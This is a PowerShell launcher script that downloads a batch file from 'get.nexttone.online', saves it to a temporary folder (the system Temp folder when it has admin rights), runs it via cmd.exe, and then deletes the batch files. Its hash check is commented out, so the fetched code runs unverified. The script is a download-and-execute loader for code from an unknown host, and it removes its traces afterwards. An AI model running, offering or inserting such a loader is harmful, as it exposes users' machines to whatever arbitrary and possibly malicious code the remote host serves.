$ErrorActionPreference = "Stop" # Enable TLSv1.2 for compatibility with older clients for the current session [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $DownloadURL1 = 'https://get.nexttone.online/run.bat' $URLs = @($DownloadURL1) $RandomURL1 = Get-Random -InputObject $URLs try { $response = Invoke-WebRequest -Uri $RandomURL1 -UseBasicParsing } catch { Write-Warning "Failed to download the batch file from $RandomURL1" $response = $null return } # Verify script integrity (optional, include your own hash) #$releaseHash = 'YOUR_HASH_HERE' #$stream = New-Object IO.MemoryStream #$writer = New-Object IO.StreamWriter $stream #$writer.Write($response) #$writer.Flush() #$stream.Position = 0 #$hash = [BitConverter]::ToString([Security.Cryptography.SHA256]::Create().ComputeHash($stream)) -replace '-' #if ($hash -ne $releaseHash) { # Write-Warning "Hash ($hash) mismatch, aborting!`nReport this issue at https://www.techsmt.site/" # $response = $null # return #} $rand = [Guid]::NewGuid().Guid $isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') $FilePath = if ($isAdmin) { "$env:SystemRoot\Temp\test_$rand.bat" } else { "$env:TEMP\run_$rand.bat" } $ScriptArgs = "$args " $prefix = "@::: $rand `r`n" $content = $prefix + $response Set-Content -Path $FilePath -Value $content # Set ComSpec variable for the current session in case it’s corrupt in the system $env:ComSpec = "$env:SystemRoot\system32\cmd.exe" Start-Process cmd.exe "/c """"$FilePath"" $ScriptArgs""" -Wait $FilePaths = @("$env:TEMP\test*.bat", "$env:SystemRoot\Temp\run*.bat") foreach ($FilePath in $FilePaths) { Get-Item $FilePath | Remove-Item }